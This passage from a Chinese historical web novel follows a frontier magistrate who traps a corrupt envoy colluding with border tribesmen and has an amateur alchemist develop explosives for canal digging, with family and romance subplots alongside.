还是赵小云笑着解释了,“那狗钦差刚开始找青青麻烦的时候,阿年就让我派人去临县了,后来是大胖想到了进城的时候,那狗钦差的车队里头混着的两个人有些眼熟,他原本还以为是被驱赶的老百姓,没当回事,后面一听,就想起来了那两个乞丐竟然是赵来喜跟王小红,赶忙找到我们说了这事,碰巧这时候我们的人把消息也传回来了,只说前些日子赵来喜跟王小红忽然得了一笔钱,嚷着要去找女儿,离开了临县,半道上又被一伙人接走了,再一打听,二奶奶一家也紧随其后,几乎是跟着胖哥前后脚离开的临县,目的地都是北地。” “于是,阿年就猜到,是有人把想借赵来喜王小红的口攀咬青青,陷害阿年,估摸着二奶奶他们知道了这事,就也赶忙来北地了,所以,阿年就一边拖延时间,一边让我跟拓县令去接人了。”大胖笑着补充。 赵丰年笑,“我也是没想到,奶竟是自己一个人就来了,也幸而是奶过来了,不然怕是还要多费些功夫口舌。” 张氏复又拍了拍赵丰年的手。 而一边装木头桩子的赵二胖不乐意了,“什 么叫做奶一个人来的,合着一路上照顾奶的人就没有了似得。” 大胖笑着拍了拍弟弟肩膀,“好小子,你如今越发有个男人模样了,经历这么一趟,也算独当一面了,干的漂亮!不过你这模样,这调调,跟起初有志哥刚来那会儿还真是像,不知道的还以为你是他亲弟弟呢。” 大家都被逗笑了。 “不过,奶,你怎么知道青青还活着?”大胖想起来问了一句,这也是其他人百思不得其解的。 张氏拉着青青的手,看着孙女笑,“当初阿年回去的时候,我就知道了。” 众人了然。 “怎么没见翠翠?” 赵青青宽慰她,“之前怕被夏钦差发现,引起怀疑,如今还在牧县,等回头风声过了,我再接她回来见奶。” 赵来贵吴菊香也忍不住感慨,“阿弥陀佛,这事总算是过去了,等那钦差走了,赶紧一切都恢复原样,也省得我们一颗心总是悬着的。” 赵丰年却没那么乐观。 私下的时候,跟赵青青大胖提了此事。 “你怀疑,府衙里还有盛富贵的人?”大胖听完便问。 赵青青想了想,“不,不是盛富贵,是盛富贵身后那人。” 赵丰年点头,“如今看来,盛富贵起初说的朝廷里有人,怕就是五皇子,盛富贵只不过他在北地安插的一颗棋子,夏岚是五皇子的人,按理来说,五皇子要拉拢傅家,自然不会忘记我这个眼看着在北地还看得下去的知府,夏岚却一上来就针对我,必定有我拔掉了五皇子的棋子的缘故,我猜,盛富贵被押回刑部,临死之前跟五皇子说了这边的情况,五皇子打听过我的情况,于是让夏岚发作,至于为何提到了青姐,而没有翠翠,是因为翠翠刚开始深居简出,盛富贵只知道青姐在府衙的名号,却未见过翠翠。” “那么,那个人想必应该不会是府衙的人,只要后面在府衙的人,就该知道翠翠的存在。”赵青青分析道。 “起初我也是这么想的,但是不排除那个人并未想到这一点,或者,还没来得及跟盛富贵接触。” 赵青青也是一脸沉重,“我明白了,我会彻查府衙。” 赵有志洗刷完“冤屈”后,就决定好好干活,此时听了这话,立马表示愿意一起帮忙。 赵丰年准许了。 “这些日子,让人多盯着点驿馆,事情没办成,他们许有后手。” “成,我一准盯牢了人。” 自从在赵丰年这里吃瘪还被隐隐威胁了一番后,夏岚在驿馆待了几日没出门,让盯梢的人都摸不着头脑。 赵丰年只当他不存在,照样做自己的事,该干嘛干嘛。 顾子升趁着这个机会,在北地好好转了转。 “这北地,阿年你治理得极好,我就知道,只要是阿年你的话,就一定没问题,年前朝会上,竟然有人弹劾你在北地劳民伤财,大兴土木,不过好在都被陛下压了下去,可见,陛下还是信任你的。” “信任我到知道五皇子因为傅家跟我不多不还派五皇子的人来为难我?” 顾子升尴尬一笑,“这不是,五皇子这半年来独得圣宠嘛。” “五皇子究竟是怎么一回事?” “哎,他是贵妃的儿子,此前都在西北军军营,你走了之后他才回京,因为平定了那边的山匪动乱,陛下龙心大悦,赏了他不少好东西,让他去了兵部当差,太子也是着了道了,被他的人,也就是夏岚弹劾,结果,陛下不仅罚了太子殿下,还调了夏岚去吏部,惹得京城里人都摸不准陛下的态度。” “你不是支持太子?看你这样,并不怎么担心,看来太子并没有失势?” “我是对太子殿下有信心!太子在朝廷里办差一直做得不错,内阁里几位大人都是认可的,只不过,也不知道怎么了,前几年陛下还十分看重太子殿下,这两年却很多事不叫殿下接手,就好像,防着人似的。” 顾子升百思不得其解,赵丰年却看得分明。 “陛下老了,卧榻之侧,岂容他人鼾睡,年迈的雄狮,看着自己身体每况愈下,自然容不下比他强劲还能力出众的继任者了。” 顾子升惊恐万分,“你别什么都说出口啊!” 说完还左右看看,一副生怕被人听到的模样。 “哎,你说的对,还真是的,陛下比较已经老了,开始糊涂了。” 顾子升叹完,又换了个话题,“算了算了,别说那些叫人心烦头头疼的事了,你跟傅家那谁怎么回事?你真的要娶傅大儒孙女了?” 赵丰年挑眉,“这又是从哪里听来的?” “还用听说,京城里早就传遍了,说傅轻雪拒绝五皇子,跟着傅大儒来北地,就是为了商量你二人婚约的,还有人拿起初榜下捉婿,傅时瑾抓妹婿出来说嘴呢,另有打马游街你只单单接她一人的香囊的事,也传得沸沸扬扬。” “我何时接过傅姑娘的香囊?那是青姐跟翠翠做的香囊。” “可大家只想听到自己想听的,总之,我出来之前,京城就传遍了,你同傅家姑娘先是老家相识,随后兄长亲自抓婿,状元游街定情,接着就是为爱勇拒皇子,实在是可歌可泣!甚至京里的戏楼都排了好几出贵女勇嫁农门状元的戏了。” 赵丰年失笑,果不其然,古往今来,吃瓜才是大众的本性。 “所以,你们打算何时成亲?是打算在北地办婚事吗?我怕我赶不上。” “提前把礼物送到也是可以的。” “你们果然有情况!我就知道那些戏里说的都是真的!” 赵丰年笑着摇摇头,“你还当真去看了?那你呢,你何时考虑自身呢?跟你二叔一家还僵持着?” 顾子升脸色一跨,“没有的事,顾子昂在翰林院,我在户部,两不相干,没什么僵持不僵持的。” 赵丰年看出他不愿谈,没有继续问了。 而另一边,府衙大牢。 赵来喜跟王小红刚抢着吃完狱卒送来的豆饭,还没吃饱,就见上方投下的阴影,正以为狱卒又回来了,两人抬头一看,竟是那天在堂上的异族人。 “你,你想做什么,这里可是大牢,你不能打我们!”王小红吓得缩成一团,还要强作镇定。 只是她前面的人却退开了一步,让出了身后稍矮些的另一个人,那人穿着斗篷,脸被挡住,王小红一时间不知他们想做什么,本能又往赵来喜身边躲了躲。 赵来喜也害怕着,却见那人将头上的兜帽放了下来,露出了一张熟悉又陌生的脸。 “人就在这里了,我先出去,一会过来接你,你们聊。” 那异族人离开,整个大牢只剩下面前的人,牢房光线昏暗,赵来喜正仔细辨别着,却听到了王小红急促又有些不敢置信的声音。 “你,你是——” “怎么,不认识我了?娘?” 是赵翠翠!赵来喜睁大了双眼。 “你没死,你竟然也没死,你跟你那个姐姐一样,都骗了我们!” 离开大牢的时候,赵翠翠又带回了兜帽。 “我都按照你的要求带你偷偷来大牢了,这下你可以老老实实待在县衙了吧?我可是答应了你姐姐要好好照顾你的,要是她知道我带你来大牢,万一她生气了怎么办?” “我明天还要来。” 拓九崩溃,“姑奶奶,今天能进去都已经是人家认识我这张脸给面子了,你姐姐那么聪明,多来几 次她就发现了!” 赵翠翠瞟了他一眼,“我知道,你喜欢姐姐,你不带我来,我跟姐姐讲你坏话。” 拓九先是浑身僵硬,简直快要碎了,“别别别,千万别啊!你,你你,你这个小姑娘怎么这么滑狡呢!这很不好!” 赵翠翠再看了他一眼,“是狡猾。” 拓九欲哭无泪,“行了行了,我明天再带你来,但是你答应我,不能跟你姐姐告状,说我坏话!” “成交。” 赵丰年本以为夏岚很快就要有动作了,却不想他倒是不待在驿馆了,开始在城里转了起来。 “难不成,”大胖率先开口,吸引了众人目光,“他是想买一些特产带回京城送人?” 众人:“……” “你还不如说他领略北地风光呢。”赵有志白眼。 大胖还当真认真想了一下,“倒也不是没有这个可能,你想想,他一个京城人士,没见过这边塞风光也是正常的。” 赵丰年脑中有什么东西一闪而逝,“胖哥,你方才说,边塞风光?” 大胖不明所以,“对啊,我虽没去过北门关,但这不是离得近嘛,大概景致都差不多吧?” 赵丰年忍不住思索,赵青青见状,提出疑问,“阿年,你是觉得,夏岚所图在边疆?” “我一直在想,为什么五皇子要放一个盛富贵在北地,这地方此前鱼龙混杂,又不是边塞,没什么争夺的价值,直到刚才胖哥说边塞,我才想到,五皇子也许要的不是北地,而是北门关,乃至是,镇北军。” 五皇子在西北军历练过,有过兵权,哪怕交还了兵权,也西北军肯定也有自己的势力,倘若再拿下镇北军,可以说整个西北一片都是他的地盘了,自然是胜算更大。 傅青云说过,镇守北门关的彭昌为人正直,以前就是镇守边疆的将领,后面才被调去北门关,他也了解到,彭昌一门均武将,在营地他跟将士同吃同住,镇北军固若金汤。 五皇子自然寻不到机会插入人手,也许正因为如此,他才退而求其其次,将人安排来了北地,盛富贵以前就是北地为戎人做事的,后面戎人被驱逐,他的处境很尴尬,于是五皇子收买十分顺利。 倘若盛富贵真的是依五皇子行事,勾结戎人突破北门关,进入关内,那五皇子所图的,自然就是整个镇北军了。 所以,夏岚不是什么领略边塞风光,是在等探子。 赵丰年眼神凌厉。 “胖哥,你帮我给拓九带个话,让他暗中来找我一趟。” “好,我马上去!” 就在众人开始想钦差大人怎么还没走的时候,盯梢的人传回消息了。 赵丰年当时正陪傅青云下棋,听到消息,便笑了。 “老师,您看,这鱼终究是上钩了。” 傅青云也笑,“也不枉你装平静,陪着我下了这么多天的棋了。” 赵丰年刚到地方的时候,赵大尺已经带着人将夏岚捆得严严实实了,另一旁作戎人打扮的两人却只押着,此时都低着头,一言不发。 赵丰年直接走到夏岚面前。 “赵丰年,你好大的胆子,我可是陛下亲封的钦差!你竟然如此无礼,待我回到京城,一定要跟陛下好好理论理论!” 赵丰年打量这地方,谁能想到,李家的旧屋还有这么一个地方呢。 “只怕马上就不是了,你说呢,夏大人?勾结戎族,意图插手镇北军,难怪戎人有恃无恐,背后有人坐镇,自是不怕,夏大人想回京跟陛下理论?倒是不难,想必,陛下也想好好问问夏大人,为何来北地要背这人私下接见这两个戎人。” “你以为随便找来几个戎贼,就可以污蔑本官吗?妄想!” “本来确实还没有证据的,只是,这不是,夏大人亲自送了上来吗?本官之前就在想,为何盛富贵口口声声说朝中有人,家中却并未搜到任何跟京城方面的书信来往,却原来藏到了这里。” 赵丰年话音刚落,就有一人将一叠书信,并一本账簿呈上,他当着夏岚的面,翻开那本账簿。 “啧啧,还真是精彩,这场布局,竟是在三年前刚开始跟戎族谈判之时就开始了。” 夏岚面如死灰,“你,你不能杀我,你不能!你这是污蔑我!” “夏大人这话还是等回了京城,跟刑部大理寺,跟陛下解释去吧,押走。” 赵大尺将人押走后,角落的两个“戎人”这才掀开头发,抬头,只见其中一个竟是拓九。 “辛苦了,我就说你怎么成随从了,合着怕认出来了。” 拓九拍了拍另外一人的肩膀,“干得不错,阿塔,今年过年你家多分一只羊。” 那个叫阿塔的少年笑得露出了一口大白牙,“嘿嘿,谢谢拓哥,那没我啥事我先走了?” “赵大人,你这招引蛇出窍还真好用,就是一直低着头,我脖子都酸了,你们再不来,我都要忍不住直接将人绑了,不过,你后面哪里去找戎人那边的接头人呢?” “自然会有人将人送过来。” 临走出门的时候,赵丰年停顿片刻,“对了,是引蛇出洞。” 第二天,拓九说的戎人接头人就送到了。 “想必你就是赵知府了?末将是彭将军手下校尉,彭将军让我等把这两个贼子送过来。” “有劳校尉,不知校尉如何称呼?” “客气了,赵大人叫我曹勇便是了。” 夏岚看到了这两个戎人才反应过来昨日的两个戎人竟然是赵丰年找人扮的,当即气得破口大骂。 早在得知夏岚等人的时候,赵丰年九意识到,夏岚等的正是前些时候让整个北地戒严的戎人,怕是那些戎人消息有误,提前来打听,正好被百姓撞见。 他们误以为是戎人的前锋,便开始全面戒严,而北地一戒严,人家自然来不了了,夏岚岂不是白等了,他们自然也就抓不到夏岚把柄,这才有了一出将计就计,引蛇出洞。 而逃离的戎人,赵丰年一早就去信了镇北军,如今,一切都刚刚好。 “这回,你可是又立了大功了!”顾子升很开心,同时又有些发愁,“只是,这回你也要彻底将五皇子得罪死了。” “早在我拜傅先生为师之时,我就站在五皇子对立面了,谈不上得不得罪的,再说,我以为你应该乐于见到我得罪五皇子?毕竟你支持太子?” 顾子升尴尬,“我是想过要拉着你站太子那边,不过,后面我就知道了,这对于你来说,并不是什么好事,阿年你放心好了,你就只用当你的纯臣就行!” 赵丰年笑了,“知道就好。” 第78章 第78章炼丹 跟盛富贵一样,夏岚会被押解回京,递交刑部审理,顾子升跟钦差队伍返程的时候一并押送回去。 赵丰年几日前已经将他跟顾子升的折子快马先送回了京城,顾子升折子里也禀明了这里发生的事,不出意外的话,顾子升等人还在半路上的时候,京城那边就会知道了。 “这一别,又不知道要多久才能再见面了。”临别前,顾子升十分不舍。 “这话倒像是咒我似的。” 一句话就把顾子升不舍得情绪给驱散了。 赵丰年笑着拱手,“子升兄,咱们京城见,保重。” “京城见,保重!” 顾子升正要上马,余光却看见了赵青青,赵青青见状,也 笑着上前行了一礼,“顾大人,一路保重。” “我还是习惯你叫我小顾大人,你变了很多,不过这都是很好的变化,等过两年,阿年回京城,你会一起回来的吧?” 赵青青微讶,就是赵丰年也忍不住侧目。 顾子升忙转过头咳嗽了两声,“这不是,北地苦寒,实在不是你一个女孩子该待的地方。” 赵青青笑了,“多谢小顾大人关心了,我记下了。” “嗯嗯。” 赵丰年看着那张黑脸都掩饰不住的羞涩之意,恍然大悟,下意识看了眼身后的拓九,果不其然,那头已经是一双狼目虎视眈眈了。 “好了好了,有什么话,都以后回到京城再说吧,你赶紧准备上路吧,还要赶在天黑之前赶到下一个镇子上。” 顾子升离开了,带着队伍来,带着队伍回去,一个不多,一个不少。 而赵丰年却犯愁地叹了口气。 “怎么了?阿年你是不是舍不得小顾大人?”赵青青疑问。 赵丰年看着赵青青更发愁了。 “小顾这孩子,还是这么实诚,这回难得来了这么久了,偏偏又出了事,我也忘了问他有没有定亲了,前头在京城还说要替他掌掌眼呢!”巧娘望着渐渐消失的队伍,不禁感慨。 赵丰年心想,怕是不用您给掌眼,他自己就掌好了眼了。 身后,拓九还在跟其他几人发泄不满。 “他那是什么意思,什么叫‘北地苦寒’?哪里苦寒了?冬天有炕,如今又有了保暖的羊毛布做的衣裳,不知道多暖和,他一京城的懂不懂什么叫做北地风光!还小顾大人,叫得这么亲热!” 没听见周围人搭腔,拓九直接拉住了最好说话的沙县令。 “沙不少,你说是不是?我们北地是不是挺好?” 沙不多为难,“拓县令,我叫沙不多啊……” 拓九疑惑,“不对吧,你们沙沙县不是很多沙砾吗?” 沙不多憋红了脸。 “赵吏是个好姑娘,倘若你真有意,最好尽早挑明,否则,迟早被人捷足先登。” 拓九惊讶转身,发现说这话的竟然是一向冷着脸的冷存真。 “啊?拓县令喜欢赵典吏?”这是完全不知情的何县丞。 几人都看向了何县丞。 钦差走了,赵丰年这才想起被送到马场的阿贡,当即就把大胖喊了来,让他从牧县把阿彩接回来,认认人。 “阿姊!”阿贡看到阿彩后第一时间就认出了来了,当即双眼一亮,一瞬间就跑到了阿彩面前。 阿彩却有些迟疑。 阿贡见状,失落不已,而阿彩这时候也逐渐认出了眼前人,“是阿贡吗?” 阿贡再次兴奋不已,“阿姊,阿贡啊!” “真的是阿贡弟弟!” 阿彩欢喜不已,拉着阿贡不撒手。 还真是阿彩的弟弟。 众人看着这一幕,心中感慨。 “阿姊,#%@&#%*#%!” 几人面面相觑,赵有志看向大胖,“他说什么?” “我怎么知道?” “你小舅子你怎么不知道?” 大胖深吸一口气,“我跟阿彩平日里说话又不说戎语!” “那我听说你们还跟拓大人学戎语呢?” 大胖无言以对,看向其他人,只见看天的看天,望地的望地,没一个开口说话的,他只得憋回一口气,努力回想着拓九教的内容。 “大概是说,有个门什么的,出去,吃饭?” 杨菱看不下去了,提醒他们,“不如问问阿彩?” 两人也是一愣。 阿彩疑惑地看了看他们,似乎是不明白为什么两人争论这个。 “阿贡说,他是通过门过来的。” “门?什么门?” 阿彩摇摇头,又冲阿贡叽里咕噜了一番,她在北地生活很久了,如今说起戎语来还有些不太熟练,等她说完,阿贡想了想,才叽里咕噜说了。 “从戎地进入北门关的门,说是一个很长很长的通道。” 几人不约而同看向了赵丰年。 赵丰年看着阿贡,笑得比张氏还慈祥。 “听说戎人养羊,谁家羊的羊多,谁就能获得旁人的尊重羡慕?” 赵青青笑,“听闻是这样。” “那行,跟拓九说一声,牧县欠衙门剩下的利,都折算成羊,交给给阿贡。” 阿彩为弟弟感到十分开心,见他茫然不解,当即跟阿贡说了,听完姐姐的话,阿贡双眼仿佛发出了光芒来,看着赵丰年就是一顿叽里呱啦。 “阿贡说,他现在就可以带你们去。” 赵丰年笑了笑,“不急,你们姐弟刚刚团聚,明天再出发也是一样的。” 戎人到底从哪里进入的北地一直是悬在众人头上的一把刀,如今这件事眼看着马上就能水落石出了,赵丰年写了一封信给镇北军,以确保这件事能得以解决。 过了两日,柳大尺就揣着信函,领着一队人马,带着阿贡,前往北门关了。 看着人远去,赵丰年乃至整个府衙上下都觉得瞬间轻松了不少。 这时候,他才抽出空来处理赵来喜跟王小红的事。 “听说,赵柱子考上秀才后,他们就攀上了钱员外,钱员外自然资助赵柱子继续科举,给了屋子田地,金银财物,赵柱子便渐渐看不上赵来喜王小红这对父母了,赵来喜王小红本来还处处捧着儿子,后面赵来喜大手大脚,拿了银子去赌钱,被媳妇发现大吵了一架,后面就被赶出了家门。” 赵有志听完不敢置信,“他赵柱子这样做,不就直接断了自己的科举之路嘛?” 大夏以孝治国,赵柱子纵容妻子驱赶爹娘,被人知道了,就是大大的不孝,报考那一关都是问题,要是真被人针对,直接去衙门举报他一个不孝父母,身上的秀才功名怕是都保不住。 “钱家毕竟商贾之家,不知这其中关键也是有的,就是不知赵柱子如何想的了。” 赵丰年摇摇头,“总之,他们被赶出家门后,爷奶不忍心,便接了他们回去过年,谁成想,刚过完年没多久,他们就忽然嚷着青姐没死,要来找青姐,再后面,你们就都知道了。” 众人都为赵青青赵翠翠两姐妹感到不值,有这样的双亲兄弟,实在不易。 “可直接将他们发配去挖河沟,只是……” 大家都明白赵丰年未尽之言,无非是毕竟这二人也是青青翠翠的爹娘。 “阿年,让他们回去吧,回到临县去。” 众人都以为赵青青还顾念着父母之情,不禁心里骂赵来喜夫妻不是人。 赵丰年看了眼赵青青,同意了。 赵来喜王小红被放出来后还不敢置信。 “真的要放我们走?还要送我们回乡?” “我们大人心善,念及亲戚一场,特意命人送你们,你们还走不走了?不走愿意继续关着也行。” 闻言,赵来喜连忙拉着王小红点头,这破地方,他们是再也不想来了,只想回家。 只是,刚出城门,那两个衙役却带着人离开了大道,走上了小道。 王小红本能地觉得有些不对劲,只是刚要开口,却被人一个眼神给吓住了。 府衙里,赵青青正跟赵丰年禀告几个县准备开设私塾一事。 钦差走了,戎人的事解决了,北地的夏季也来临了。 该是让一切走上正轨了。 而另一边,夏岚的事也在朝廷上掀起了一场风波。 夏岚是五皇子的人是众所周知的,而如今却有了一个勾结戎人的罪,朝廷里从来不缺聪明人,很快就有人想到了镇北军上。 太子一方的人自然不会放过这个机会,于是,铺天盖地弹劾五皇子的折子雪花似地飞上了天元帝的御案。 御书房里,天元帝大发雷霆,将几本折子直接向下方跪着的五皇子砸了过去,五皇子不敢躲避,任由那些折子砸到自己脸上、身上甚至有一本滑破了眼角,瞬间冒出了血丝。 从御书房出来后,五皇子脸色阴鸷, 随从见他脸上有伤,吓得刚要问情况,就听他说到了一个人。 “好你个赵丰年,算我小瞧你了。” 赵丰年浑然不知京城里换五皇子关禁闭了,此时,他正在听人禀告天河计划的进度。 全靠人力还是慢了些,赵丰年心里有些着急,他倒不是急着做出一番事迹来,只是,如果不出他所料,天元帝很快就要召他回去了,毕竟,他人虽不在京城,却三番两次将那边闹得人仰马翻,怕是早有人记恨他了,就是为了让这些人有个矛头对准,天元帝也会将他调回京城。 于是,赵丰年找来了杨菱。 “炼丹的术士?”杨菱不解,“大人为何忽然对此感兴趣了?莫不是想要寻求道法?” “我有一物,想要问问那些术士是否能行。” 杨菱想了想,“炼丹的术士倒是没见过,不过,不知道大人还记不记得夏家?” “是商会副会长,前年腊八大集崭露头角的夏家?” “正是,”杨菱笑道,“这夏家是做药材发家的,说来也巧,他们本家就在犁丘县,自从大人让犁丘县种植药材,夏家特别配合,不仅送了家族中几个孩子去五树学堂,犁丘县的药材加工厂也是他们家的手笔。 我要说的是这夏家老家主幼子,如今夏家主的弟弟,夏儒,此人不好药材,喜欢道法,听闻前些年学人家在家中弄了炉子,说要起炉炼丹,不过嘛,这水平就一般了,三天两头就能听到夏家炸炉的动静,本来大家还害怕,到后来就见怪不怪了。大人如果想问事,夏儒许是能答上来,不过倘若大人要他炼丹,怕是不成了。” 赵丰年笑了,他想找的还正是这能炸炉的呢。 很快,夏儒就被带到了赵丰年面前。 出乎赵丰年意料,夏儒是个清瘦的青年,就是胡子拉碴,有些不修边幅。 许是看清楚了赵丰年的疑惑,夏儒腼腆一笑,“我是爹娘的老来子,所以跟我哥年纪差得有些大。” “听闻,你很会炼丹?” 夏儒不好意思地挠了挠头,“赵大人您就别打趣我了,外头都知道,我这起一炉炸一炉的,不过我还在翻阅书籍,相信等我再多练几年,一定会炼成治病救人的丹药的!” 赵丰年笑了笑,“你的丹药现在就可以救人。” 夏儒不解。 “不知你可还记得,你每次炸炉所用的材料?” 夏儒点点头,“自然,我每次都有详细地记录,以补全不足,只是……” 只是回回照样炸炉。 “那实在是太好了,我就要你那能炸炉的丹方,实不相瞒,我这里也有一味方子,等你方子拿出来,我们比较一番,看看哪一种组合起来,能更好地炸炉。” 要不是这之前听过赵丰年的种种丰功伟绩,夏儒肯定以为赵丰年再拿自己开涮了。 于是,夏儒就被收编到府衙工房去了。 得知知府大人看中了自家弟弟,夏家主连忙亲自带了一车礼物上府衙来表示感谢了。 “家里一听说小儒入了大人您的眼,都高兴坏了,这不是,备了些薄礼,都是我们的一番心意,不是什么贵重的东西,还望大人不要嫌弃,一定要收下才是!” “夏家主客气了,也是夏儒自己有这门手艺,又颇有天赋,本官既然知道了,自然不能埋没了这等人才,实在担不起夏家主的礼。” 夏家主一听就懵了,他还以为赵丰年看中弟弟是个读书人呢。 “敢问大人,大人说的手艺?” “自然是练丹的手艺天赋。” 夏家主彻底傻眼了,几番欲言又止。 众所周知,他弟弟早些年还是个爱读书的好少年,却不想不知何时知道了这炼丹之法,后面就开始沉迷炼丹之术,只是这炼丹就炼丹吧,毕竟他们家是药材生意发家,也算是家学渊源了,可是旁人炼丹怎么样他们不知道,他弟弟炼丹什么眼他们还不清楚嘛? 家里头是三天两头就要炸一回,他爹临死前最大的愿望就是他能将他弟弟带回正途,原以为,这回知府大人慧眼识珠,他终于能完成他爹的遗愿了,却不想,知府大人竟然也想要炼丹啊! 夏家主心中长啸,您这是为何呢!年纪轻轻的就信这些了嘛?! 赵丰年一看他这表情就知道他是误会了。 “夏家主,令弟所行之事有大用,绝不是丹药这么简单,他日做成了,你自然就知道了。” 夏家主已经不抱希望了,“不是丹药?跟其他药也没关系吧?” 赵丰年想了想,“火药也确实是叫药,不过,你只管放心,等东西做出来,我必不会亏待了令弟。” 那还不是药?火药?这名字一听就是能炸炉的,夏家主心如死灰,面上只笑着继续客套了几句,才默默离开府衙。 听闻兄长来府衙消息赶过来的夏儒看着空空如的地方,摸不着头脑。 赵丰年笑着拍拍他肩膀,“好好做,夏家主对你期望很大。” 夏儒双眼一亮,“您放心吧赵大人,我一定不会辜负您的期望!也不会辜负我大哥的期望!” 赵丰年满意点头。 第79章 第79章女子学堂 夏儒果然不负所望,不过半月余就将赵丰年想要的火药做了出来。 “按照大人想要的效果,我先是装在了竹筒了,可是不能达到炸炉的效果,后来我想,把炉子做小一些,形成一个同样密闭的空间,不就可以了嘛?于是做成了如今这样,只需要点燃引线,里面的丹药,哦,火药,就会被点燃,呈现出炸炉的效果,所以,我斗胆,先给这东西取了一个名字,叫做炸药,大人觉得如何?” 大人觉得不如何。 看着手里黑不溜秋,形似手榴弹的东西,赵丰年百感交集。 所以,他一直都说,古人是很聪明的。 这不是,他不过指点几句,这就连炸药都做了出来。 “你做得极好,这样,下午去城外实验,如果可行,我让人拨给你人手,这东西先做出一部分来,回头都拉到河道工程那边。” “是,大人!” 听说知府大人下午要实验新东西,大家有事没事都跟着前去凑热闹了。 等到了地方,夏儒找了一个岩石包,将东西安置好,只等赵丰年一声落下点燃火药。 “点火。” 众人就看着那头夏儒点燃长长的引线,然后疯狂骑上马就往回跑。 “夏工这瘦小身板,竟然会骑马——” “砰——” 大胖话还没说完,只见一声巨响,仿佛地面都震动了。 众人目瞪口呆望着远处的土——坑。 “救命啊——” 还没等大家惊叹,就听到夏儒大喊救命,转头一看,竟然是马匹失控了,想来是方才听到了巨响惊到了马,而夏儒还没来得及下马。 众人手忙脚乱,才把人救了下来。 等安抚好夏儒跟马,众人也这才有功夫问起眼前的东西。 “这么大的威力,是不是可以拿来给地里松土?”大胖感慨问道。 赵有志不服,“这话叫你说的,依我看,拿来挖井最好了。” “我倒是觉得,这东西拿来破石,炸山都是好的。” 夏儒哈哈大笑,“王文典吏说的没错,此物拿来开山,破石都十分合适,不过,大人是想拿这炸药来炸河道,减轻百姓们负担的。” “原来如此,不愧是大人。”杨菱一脸敬佩地看着赵丰年。 赵丰年也十分满意火药的成功。 “夏儒,那这件事就交给你了,赵吏,此物与以往那些东西都不一样,目前只能用于开河道,必须严格掌握在府衙手里,除此之外,我不希望任何地方任何人手里看到它,我希望你能把这件事办妥,杨知事,你同赵吏一起。” 赵青青、杨菱对视一眼,皆意识到了火药的重要性及危害性。 “是。” 住在城外的百姓们自然也听到了那天下午的动静,正当大家都惊慌不已的时候,府城的官员就出来辟谣了。 “说是惊雷呢,这大白天的动静这样大,不会是要下雨了吧?” “这大晴天的,不像是要下雨,不过,既然是府衙说的,那铁定没错。” “那说不准还真要下雨,马上就要收小麦了,可别这当口下雨,不行,我得去地里瞧瞧,实在不行,也不差这几日功夫,得赶紧收了。” 百姓们的目光顺利转向了地里,而一车车的火药正装箱运往荒野。 “砰——” “成了成了,又是一个大坑!有了这火药,咱们只用跟在后面挑土了,还费什么力!” “听闻是知府大人跟夏 家那个炼丹药的一起做出来的东西,就是心疼我们受累呢。” “知府大人还是这样慈悲,不过,那夏家小子也真厉害啊!” 火药很快就在天河工程中用了起来,工程进度跟之前相比,简直不能同日而语。 “只要火药供应不断,我有信心,明年就能完工。”杨菱说完这话,所有人都忍不住心潮澎湃。 夏儒忙站起来,“火药房已经人手都已经齐了,只要有材料供应,我们就不会断天河工程的火药。” “材料这边,我们已经跟云掌柜签了契约,绝对不是问题。”这话是赵有志说的。 云掌柜自然就是赵小云了,赵小云代替柳小尺帮赵丰年管理商队,但是公是公,私是私,哪怕赵丰年这个背后东家是知府,府衙采办的各样东西,都要走公帐。 说来,赵有志本来跟赵小云是不对付的,谁叫以前的矛盾根深蒂固,只是没想到来到了北地,大家各自做事,彼此有交集,虽然还是看见彼此不爽,却没有了以前的剑拔弩张。 至少,如今的赵有志对赵来贵吴菊香算是敬重有加了。 秋收后,柳大尺才从北门关回来。 “那通道在雪峰山崖下面,林子密集,又多怪石,要不是有阿贡带路,我们还真不一定找得到,彭将军亲自带了人马,在戎人的一个据点抓了几个戎人,如今有镇北军守着,不怕再有戎人越过边境线进来了。” 众人都松了一口气,赵丰年笑着拍了拍柳大尺肩膀,“辛苦了!” 柳大尺满脸笑容。 第二天,赵丰年就让各县官员来府城开会了,重点说明了边境之事。 于是,北地百姓忽然发现,好像整个北地的氛围忽然轻松了起来。 而这边,张氏也打算回老家了。 自从张氏来了北地,巧娘跟赵来贺就拉着张氏住下了,说要好好尽尽孝心,如今秋收过了,再不回去,怕是就要留在这里过年了,到底还惦记着家里,张氏便说要趁着天气还好回老家。 赵二胖自然也一起回去。 “我知道,你们都是要做大事的人,我也明白了,每个人都有自己的责任,既然大哥你们的责任在外头,那我的责任就在家里了,你们只管放心,老家那边都有我呢,我一定会好生照顾爷奶。” 人走后,赵来贺不禁感叹,“原先二胖也是个皮孩子,如今跟你们一样,一个个地,竟都长成了顶天立地的人了。” 谁说不是呢。 又是一年的腊八大集,巧娘跟傅轻雪拉着赵青青给她又是打扮又是要裁冬衣,赵青青苦笑不得。 “牧县新开了制衣厂,纺织厂直接送的料子,再是保暖不过了,何必要再费你们功夫?” “这如何能一样,这是我们的心意,再说了,拓县令约你一起出去逛集市,自然要好好打扮打扮!” 就在前不久,拓九终于鼓起勇气向赵青青表明了心思,同时约赵青青一起逛大集,赵青青没有拒绝。 “青青,虽则拓县令是个率直的,但是这男子,哪有不稀罕美丽姑娘的呢?莫不是,你虽应下了,只当他是朋友?”傅轻雪疑惑。 赵青青认真想了想,摇摇头,“大抵还是欢喜的。” 巧娘立马就乐开了。 拓九这天一大早就来了府衙,只在前衙忐忑不安地等着,路过的人见状都是会心一笑。 等赵青青出来,瞧见她的一瞬间,拓九就愣住了。 她今天穿了一家鹅黄色的儒裙,脖子上是白狐皮做的毛领,另又披着一件橘色的披风,看上去婷婷袅袅,美丽动人。 “怎么?不走吗?”赵青青冲他笑道。 拓九回过神来,“走,当然走!你,你今天真好看。” “只有今天好看,看来,往常是不好看了?” “不不不,我不是那个意思,平常也好看,你每天都很好看!你不要生气。” “不过玩笑话罢了。” 赵丰年看着那边走远的两人,跟身边的人笑道,“你不必替他们感到担心,青姐是个有分寸的人,她要真不喜欢,谁也勉强不了她。” “我确实是担心她受到伤害。” “你不看好他们?” 傅轻雪摇摇头,“青青把你们看得很重,我相信,你们任何一个人都能排在拓大人前面,正是因为如此,倘若你收到诏令回京,那青青定然不会留在北地,到时候,他们两人怕是都要受到伤害了,而青青又是习惯了什么都压在心里,不叫人看出分毫来,便是心里难过到了极点,只怕也是笑着的。” 